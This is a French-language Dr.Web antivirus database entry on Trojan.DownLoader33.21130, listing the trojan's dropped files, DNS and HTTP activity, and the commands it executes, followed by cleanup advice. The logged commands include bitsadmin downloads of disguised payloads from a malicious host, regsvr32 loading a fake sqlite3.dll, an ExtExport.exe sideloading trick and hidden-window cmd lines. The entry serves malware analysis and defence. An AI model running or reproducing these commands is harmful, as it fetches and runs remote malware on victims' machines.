Pour le fonctionnement correct du site, vous devez activer JavaScript dans votre navigateur.
Trojan.DownLoader33.21130
Added to the Dr.Web virus database:
2020-03-25
Virus description added:
2020-03-26
Technical Information
Malicious functions
Creates and executes the following
'%WINDIR%\explorer.exe' /c, C:\Users\Public\Documents\cvbvh2j.js
Modifies file system
Creates the following files
C:\users\public\documents\cvbvh2j.js
nul
%APPDATA%\fpv7790378\bit3bdd.tmp
%APPDATA%\fpv7790378\bit7b58.tmp
%APPDATA%\fpv7790378\bit8c70.tmp
%APPDATA%\fpv7790378\bit9cbd.tmp
%APPDATA%\fpv7790378\bitad48.tmp
%APPDATA%\fpv7790378\bitc1cb.tmp
%APPDATA%\fpv7790378\bite16a.tmp
%APPDATA%\fpv7790378\bitf3e9.tmp
%APPDATA%\fpv7790378\bit5fb.tmp
%APPDATA%\fpv7790378\bit1771.tmp
%APPDATA%\fpv7790378\bit28c8.tmp
%APPDATA%\fpv7790378\bit39ef.tmp
Sets the 'hidden' attribute to the following files
%APPDATA%\fpv7790378\bit3bdd.tmp
%APPDATA%\fpv7790378\bit7b58.tmp
%APPDATA%\fpv7790378\bit8c70.tmp
%APPDATA%\fpv7790378\bit9cbd.tmp
%APPDATA%\fpv7790378\bitad48.tmp
%APPDATA%\fpv7790378\bitc1cb.tmp
%APPDATA%\fpv7790378\bite16a.tmp
%APPDATA%\fpv7790378\bitf3e9.tmp
%APPDATA%\fpv7790378\bit5fb.tmp
%APPDATA%\fpv7790378\bit1771.tmp
%APPDATA%\fpv7790378\bit28c8.tmp
%APPDATA%\fpv7790378\bit39ef.tmp
Moves the following files
from %APPDATA%\fpv7790378\bit3bdd.tmp to %APPDATA%\fpv7790378\mammonsysdwwn.gif
from %APPDATA%\fpv7790378\bit7b58.tmp to %APPDATA%\fpv7790378\mammonsysc.jpg
from %APPDATA%\fpv7790378\bit8c70.tmp to %APPDATA%\fpv7790378\mammonsysa.jpg
from %APPDATA%\fpv7790378\bit9cbd.tmp to %APPDATA%\fpv7790378\mammonsysb.jpg
from %APPDATA%\fpv7790378\bitad48.tmp to %APPDATA%\fpv7790378\mammonsysdx.gif
from %APPDATA%\fpv7790378\bitc1cb.tmp to %APPDATA%\fpv7790378\mammonsysg.gif
from %APPDATA%\fpv7790378\bite16a.tmp to %APPDATA%\fpv7790378\mammonsysgx.gif
from %APPDATA%\fpv7790378\bitf3e9.tmp to %APPDATA%\fpv7790378\mammonsysi.gif
from %APPDATA%\fpv7790378\bit5fb.tmp to %APPDATA%\fpv7790378\mammonsysxa.~
from %APPDATA%\fpv7790378\bit1771.tmp to %APPDATA%\fpv7790378\mammonsysxb.~
from %APPDATA%\fpv7790378\bit28c8.tmp to %APPDATA%\fpv7790378\mammonsysxc.~
from %APPDATA%\fpv7790378\bit39ef.tmp to %APPDATA%\fpv7790378\sqlite3.dll
Network activity
TCP
HTTP GET requests
http://bt#######ge.theliberates.online/?02#
'5d######oc9.liberates.tech':443
UDP
DNS ASK bt#######ge.theliberates.online
DNS ASK 5d######oc9.liberates.tech
Miscellaneous
Creates and executes the following
'<SYSTEM32>\wscript.exe' "C:\Users\Public\Documents\cvbvh2j.js"
'<SYSTEM32>\cmd.exe' /c cd "%ProgramFiles(x86)%\Internet Explorer\" && ExtExport.exe "%APPDATA%\FPV7790378\sqlite3.dll" 2 3 4 FIREFOX {00000000-0000-0000-0000-000000000000}' (with hidden window)
'<SYSTEM32>\cmd.exe' /V /C "echo %APPDATA%\FPV7790378\>C:\Users\Public\h"&& exit' (with hidden window)
'<SYSTEM32>\cmd.exe' /V /C "echo xXx>%APPDATA%\FPV7790378\\r2.log"&& exit' (with hidden window)
'<SYSTEM32>\bitsadmin.exe' /transfer 99672 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsyshh7.dll.zip %APPDATA%\FPV7790378\sqlite3.dll' (with hidden window)
'<SYSTEM32>\bitsadmin.exe' /transfer 52682 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysxc.gif.zip %APPDATA%\FPV7790378\mammonsysxc.~' (with hidden window)
'<SYSTEM32>\bitsadmin.exe' /transfer 58798 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysxb.gif.zip %APPDATA%\FPV7790378\mammonsysxb.~' (with hidden window)
'<SYSTEM32>\bitsadmin.exe' /transfer 12052 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysxa.gif.zip %APPDATA%\FPV7790378\mammonsysxa.~' (with hidden window)
'<SYSTEM32>\regsvr32.exe' /s "%APPDATA%\FPV7790378\sqlite3.dll"' (with hidden window)
'<SYSTEM32>\bitsadmin.exe' /transfer 68271 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysi.gif.zip %APPDATA%\FPV7790378\mammonsysi.gif' (with hidden window)
'<SYSTEM32>\bitsadmin.exe' /transfer 64081 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysg.gif.zip %APPDATA%\FPV7790378\mammonsysg.gif' (with hidden window)
'<SYSTEM32>\bitsadmin.exe' /transfer 80840 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysdx.gif.zip %APPDATA%\FPV7790378\mammonsysdx.gif' (with hidden window)
'<SYSTEM32>\bitsadmin.exe' /transfer 7261 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysb.jpg.zip %APPDATA%\FPV7790378\mammonsysb.jpg' (with hidden window)
'<SYSTEM32>\bitsadmin.exe' /transfer 92186 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysa.jpg.zip %APPDATA%\FPV7790378\mammonsysa.jpg' (with hidden window)
'<SYSTEM32>\bitsadmin.exe' /transfer 22276 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysc.jpg.zip %APPDATA%\FPV7790378\mammonsysc.jpg' (with hidden window)
'<SYSTEM32>\bitsadmin.exe' /transfer 56205 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysdwwn.gif.zip %APPDATA%\FPV7790378\mammonsysdwwn.gif' (with hidden window)
'<SYSTEM32>\wscript.exe' "C:\Users\Public\Documents\cvbvh2j.js"' (with hidden window)
'<SYSTEM32>\bitsadmin.exe' /transfer 82862 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysgx.gif.zip %APPDATA%\FPV7790378\mammonsysgx.gif' (with hidden window)
'<SYSTEM32>\cmd.exe' /c echo %time% && timeout 4000 > NUL && exit' (with hidden window)
Executes the following
'<SYSTEM32>\cmd.exe' /S /D /c" sEt/p rbmzxxm="%MXQ:IVEDDI=%%et986da:1UUYD=/%" 0<nul 1>C:\Users\Public\Documents\cvbvh2j.js"
'<SYSTEM32>\regsvr32.exe' /s "%APPDATA%\FPV7790378\sqlite3.dll"
'%ProgramFiles(x86)%\internet explorer\extexport.exe' "%APPDATA%\FPV7790378\sqlite3.dll" 2 3 4 FIREFOX {00000000-0000-0000-0000-000000000000}
'<SYSTEM32>\cmd.exe' /c cd "%ProgramFiles(x86)%\Internet Explorer\" && ExtExport.exe "%APPDATA%\FPV7790378\sqlite3.dll" 2 3 4 FIREFOX {00000000-0000-0000-0000-000000000000}
'<SYSTEM32>\cmd.exe' /V /C "echo %APPDATA%\FPV7790378\>C:\Users\Public\h"&& exit
'<SYSTEM32>\cmd.exe' /V /C "echo xXx>%APPDATA%\FPV7790378\\r2.log"&& exit
'<SYSTEM32>\bitsadmin.exe' /transfer 99672 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsyshh7.dll.zip %APPDATA%\FPV7790378\sqlite3.dll
'<SYSTEM32>\bitsadmin.exe' /transfer 52682 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysxc.gif.zip %APPDATA%\FPV7790378\mammonsysxc.~
'<SYSTEM32>\bitsadmin.exe' /transfer 58798 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysxb.gif.zip %APPDATA%\FPV7790378\mammonsysxb.~
'<SYSTEM32>\bitsadmin.exe' /transfer 12052 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysxa.gif.zip %APPDATA%\FPV7790378\mammonsysxa.~
'<SYSTEM32>\bitsadmin.exe' /transfer 68271 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysi.gif.zip %APPDATA%\FPV7790378\mammonsysi.gif
'<SYSTEM32>\bitsadmin.exe' /transfer 82862 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysgx.gif.zip %APPDATA%\FPV7790378\mammonsysgx.gif
'<SYSTEM32>\bitsadmin.exe' /transfer 64081 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysg.gif.zip %APPDATA%\FPV7790378\mammonsysg.gif
'<SYSTEM32>\bitsadmin.exe' /transfer 80840 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysdx.gif.zip %APPDATA%\FPV7790378\mammonsysdx.gif
'<SYSTEM32>\bitsadmin.exe' /transfer 7261 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysb.jpg.zip %APPDATA%\FPV7790378\mammonsysb.jpg
'<SYSTEM32>\bitsadmin.exe' /transfer 92186 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysa.jpg.zip %APPDATA%\FPV7790378\mammonsysa.jpg
'<SYSTEM32>\bitsadmin.exe' /transfer 22276 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysc.jpg.zip %APPDATA%\FPV7790378\mammonsysc.jpg
'<SYSTEM32>\bitsadmin.exe' /transfer 56205 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysdwwn.gif.zip %APPDATA%\FPV7790378\mammonsysdwwn.gif
'<SYSTEM32>\cmd.exe' /S /D /c" echo IRUSF4666IRLK900HDWYSFJIBMZX 1>nul"
'<SYSTEM32>\cmd.exe' /S /D /c" exit 1>nul"
'<SYSTEM32>\cmd.exe' /S /D /c" cd %WINDIR% 1>nul"
'<SYSTEM32>\cmd.exe' /S /D /c" md \ |"
'<SYSTEM32>\cmd.exe' /c echo %time% && timeout 4000 > NUL && exit
'<SYSTEM32>\timeout.exe' 4000
Recommandations pour le traitement
Windows
macOS
Linux
Android
Si le système d'exploitation peut être démarré (en mode normal ou en mode sans échec), téléchargez Dr.Web Security Space et lancez un scan complet de votre ordinateur et de tous les supports amovibles que vous utilisez. En savoir plus sur Dr.Web Security Space .
Si le démarrage du système d'exploitation est impossible, veuillez modifier les paramètres du BIOS de votre ordinateur pour démarrer votre ordinateur via CD/DVD ou clé USB. Téléchargez l'image du disque de secours de restauration du système Dr.Web® LiveDisk ou l'utilitaire pour enregistrer Dr.Web® LiveDisk sur une clé USB, puis préparez la clé USB appropriée. Démarrez l'ordinateur à l'aide de cette clé et lancez le scan complet et le traitement des menaces détectées.
Si votre appareil mobile fonctionne correctement, veuillez télécharger et installer sur votre appareil mobile Dr.Web pour Android . Lancez un scan complet et suivez les recommandations sur la neutralisation des menaces détectées.
Si l'appareil mobile est bloqué par le Trojan de la famille Android.Locker (un message sur la violation grave de la loi ou la demande d'une rançon est affiché sur l'écran de l'appareil mobile), procédez comme suit:
démarrez votre Smartphone ou votre tablette en mode sans échec (si vous ne savez pas comment faire, consultez la documentation de l'appareil mobile ou contactez le fabricant) ;
puis téléchargez et installez sur votre appareil mobile Dr.Web pour Android et lancez un scan complet puis suivez les recommandations sur la neutralisation des menaces détectées ;
Débranchez votre appareil et rebranchez-le.
En savoir plus sur Dr.Web pour Android
Téléchargez Dr.Web pour Android
Gratuit pour 3 mois
Tous les composants de protection
Renouvellement de la démo via AppGallery/Google Pay
Nous utilisons des cookies sur notre site web à des fins d’analyse et de récolte de données statistiques. En naviguant sur notre site, vous pouvez accepter ou refuser l’utilisation de ces fichiers cookies, sauf ceux strictement nécessaires au fonctionnement du site web.
En savoir plus : Politique de confidentialité
Accepter
Refuser